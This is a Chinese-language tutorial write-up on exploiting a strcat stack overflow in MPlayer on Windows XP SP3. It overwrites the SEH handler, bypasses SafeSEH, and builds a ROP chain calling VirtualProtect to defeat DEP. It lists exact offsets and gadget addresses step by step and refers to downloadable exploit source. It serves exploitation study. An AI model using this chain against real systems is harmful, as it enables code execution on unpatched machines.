ROP技术绕过DEP--MPlayer栈溢出漏洞
一、前言
1.1 DEP介绍
数据执行保护 (DEP) 是一套软硬件技术,能够在内存上执行额外检查以防止在不可运行的内存区域上执行代码。 在 Microsoft Windows XP Service Pack 2、 Microsoft Windows Server 2003 Service Pack 1 、 Microsoft Windows XP Tablet PC Edition 2005 、 Microsoft Windows Vista 和 windows 7 中,由硬件和软件一起强制实施 DEP。DEP 有两种模式,如果CPU 支 持内存页NX 属性, 就是硬件支持的DEP。只有当处理器/系统支持NX/XD位(禁止执行)时,windows才能拥有硬件DEP,否则只能支持软件 DEP,相当于只有SafeSEH保护。(摘抄自泉哥的文章)
1.2 DEP绕过方法
网上的资料可以知道绕过DEP方法五花八门:ret2lib、关闭进程DEP、WPM(有的方法执行shellcode,本文不考虑),
但是本质上这些方法应该说都是基于ROP技术的,因为不能执行栈中的指令,只能使用ROP技术。
DEP绕过方法可以说就是使用ROP技术,调用系统的API,来使shellcode的以执行,可以有如下几种思路:
- 关闭进程DEP
- 将shellcode的存储位置设置为可执行
- 将shellcode写入可执行的位置
1.3 ROP技术
ROP技术前提:
- 小部件(gadget):内存中一个个以ret为结尾的指令序列(非常形象),我们像捡破烂一样收集它们。
- ret指令:ret指令实际上相当于pop EIP,也就是将EIP设置为栈顶(esp指向)的值,也就是跳转到栈顶的值所指向的地址。
ROP,Retrun-oriented Programmming(面向返回的编程),技术原理:
将一个个小部件在栈上进行有序的排列,每个小部件末尾的ret指令会使这些小部件依次得到执行。
1.4 实验环境及工具
实验环境:
windows xp sp3
工具:
- immunity debuger
- mona插件
- Process Explorer
二、MPlayer漏洞介绍及Exploit分析
2.1 漏洞介绍
在调用msvcrt.dll的strcat时发生溢出,会覆盖掉返回地址以及SEH。
这个漏洞曾经被用作比赛题,要求利用SEH进行漏洞利用,同时开启DEP保护,
本文主要是演示ROP技术绕过DEP,同时会按照要求通过覆盖SEH控制EIP。
2.2 Exploit分析
使用Process Explorer查看MPlayer,已经开启了DEP
图1
使用safeseh插件查看,发现msvcrt.dll开启了safeSEH。
因此要漏洞利用,首先需要绕过safeSEH控制EIP,再通过ROP技术破除DEP保护,最终执行shellcode。
使用pattern_offset构造m3u文件,对程序进行调试分析,得到以下信息:
- 覆盖到seh结构时,偏移为5115
- 被覆盖的缓冲区首地址为 0x22EBE4
- 执行Sehandler时,esp的值为0x22e578
内存布局及payload结构
图2
payload执行流程:
- 触发异常,执行seh handler指向的地址,需要绕过safeSEH
- 将esp指向rop链起始,然后ret
- 执行rop链,关闭dep,跳转到shellcode
- 执行shellcode
其中有两个关键点
- 绕过safeSEH
- 构造ROP链,关闭DEP
三、如何快速寻找小部件
这里先介绍一下如何查找小部件,因为从绕过safeSEH开始,就需要用到小部件了。
这里需要用到Immunity Debugger的插件mona.py,出自Corelan Team。
mona可以帮我们在内存中寻找各种小部件,并存储到rop.txt文件中,当我们需要寻找某种小部件时,可以使用正则表达式进行快速搜索。
rop.txt文件中的信息主要包括:
- 模块信息,是否开启safeSEH、ASLR,是否是系统模块,地址信息
- 小部件(gadgets),各种以RETN为结尾的小部件,以及地址是否包含NULL以及ASCII等。
图3
四、绕过safeSEH保护
绕过方法
利用没有启用SafeSEH的模块,不详细说明。
SE Handler的功能
- 将ESP的指向ROP链
- 利用一个ret指令,开始ROP链的执行
寻找合适的指令片段
在执行SE Handler时,ESP在可控缓冲区范围之外(小于最小地址),因此需要增加ESP到可控范围内,之后ret即可。
- 增加的最小值:0x22EBE4 - 22E578 = 0X66C
- 空间总长 5115=0x13FB
因此需要找到一条ADD ESP,OFFSET,RET小部件,其中OFFSET>66C,同时也不能太长,需要留出ROP链和shellcode的空间。
在rop.txt中找到如下小部件,给ESP增加0x940:
0x64988c54 : # ADD ESP,940 # POP EBX # POP ESI # POP EDI # RETN [avformat-52.dll]
ROP链的存储位置
参考图2,也就是计算junka的长度:
Junka_len = (0x22e578+0x940+3x4) - 0x22ebe5
注意这里多加的3x4,因为上面的小部件中有3个多余的POP。
五、ROP构造
已经绕过safeSEH保护,将ESP指向了ROP链,后面的工作只要使用ROP技术绕过DEP,再转到shellcode即可。
本文选择使用VirtualProtect,原型如下
BOOL WINAPI VirtualProtect(
in LPVOID lpAddress,
in SIZE_T dwSize,
in DWORD flNewProtect,
out PDWORD lpflOldProtect
);
ROP结构如图4,
图4
ROP中的两个值可以硬编码:
- VirtualProtect函数的地址,XP SP3中为0x7c801ad4
- VirtualProtect的第四个参数,需要是一个可写的地址,可以从内存随意找一个
六、ROP构造过程
1、保存esp
1.1 暂存esp
将esp的值保存到EBX中,EBX并不是一个好的寄存器,但是无奈就找到这么一条符合条件的,不过后面我会在将EBX的值复制到其他寄存器。
0x649abc7b : # PUSH ESP # POP EBX # POP ESI # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
1.2 跳过API地址和参数
API地址加上参数一共是0x18个字节,找到如下小部件:
0x64980685 : # ADD ESP,1C # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
2、复制ESP
上面提到EBX不是一个好的寄存器,因此在这里将EBX的值复制到EAX和EDX中。
0x6b0402a9 : # MOV EAX,EBX # POP EBX # RETN [avcodec-52.dll]
0x649cda36: # MOV EDX,EAX # MOV EAX,EDX # RETN [avformat-52.dll]
EAX是一个非常常用的指令,我们可以用它来构造参数。
3、构造指向参数的指针
因为需要向API地址之后的ret address和参数1-4中填入有效的值,因此我们需要一个这项这里的指针,找到如下小部件
0x6b0badb4 : # INC EDX # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
经过第二步之后,EDX指向ROP链的起点,连续若干条该指令可以让EDX指向ret address的位置。
4、构造ret address和参数1
VirtualProtect执行后,我们需要跳转到shellcode,因此ret address会是shellcode的存储地址。VirtualProtect的第一个参数是缓冲区地址,我们需要将shellcode的存储位置设置为可执行状态,因此参数1也会是shellcode的存储地址,这两个值我们只需要构造一次即可。
EDX已经用于指向ret address,我们需要使用EAX构造该值,找到如下小部件:
0x6ad5c728 : # ADD EAX,69 # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
执行该小部件四次后,EAX的值便可一个作为shellcode的起始地址,这样,ROP链的起始地址和shellcode的起始地址的距离会是0x69 * 4
。
5、将生成的参数写入对应位置
生成参数后我们需要将其写入到对应的位置,使用如下小部件:
0x6ae88656 : # MOV DWORD PTR DS:[EDX],EAX # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
每次写完之后,都需要将EDX的值增加4,反复使用第三步的小部件即可。
0x6b0badb4 : # INC EDX # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
6、构造参数2和3
参数2为缓冲区长度,使用一下两个小部件,add EAX,69执行三次基本就够用了,可以根据shellcode长度调整:
0x649a3d6c : # XOR EAX,EAX # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
0x6ad5c728 : # ADD EAX,69 # RETN [avcodec-52.dll] | {PAGE_EXECUTE_WRITECOPY}
参数3为新的保护类型,需要设置为0x40,使用一下两个小部件,add EAX,8执行8次:
0x649a3d6c : # XOR EAX,EAX # RETN [avformat-52.dll] | {PAGE_EXECUTE_WRITECOPY}
0x1001d17f : # ADD EAX,8 # RETN [unrar.dll] | {PAGE_EXECUTE_READ}
参数2和3都是需要使用第四步的方法写入对应位置。
7、处理参数4
参数4用于接收旧的保护类型,只需要是一个可写的地址即可,提前找到一个地址,写死在对应的位置即可,不用进行处理。
本文使用地址:0x10028024。
8、返回到API执行
最后,构造完所有参数,需要将ESP指向VirtualProtect地址的存储位置,在使用一个ret指令执行VirtualProtect,可以使用以下几个小部件:
0x649c4733 : # DEC EDX # RETN [avformat-52.dll] 执行12次
0x649cda38: # MOV EAX,EDX # RETN [avformat-52.dll]
0x6b051e12 : # PUSH EAX # POP ESI # POP EBX # RETN [avcodec-52.dll] | ascii
0x6b0689d7 : # MOV ESP,ESI # POP EDI # POP ESI # POP EBX # RETN [avcodec-52.dll]
七、总结
第一次写动手构造ROP链,构造思想主要取自于Corelan Team的文章。,对比exloit-db上公开的POC,发现自己构造的ROP链非常繁琐冗长,exploit-db上的方法使用了PUSHAD,事先知道这个方法,但是没想到怎么用,而且其中也还有其他的一些技巧也是自己没有想到的,还需要多多学习。本文设计到的MPlayer以及exploit源码下载,百度网盘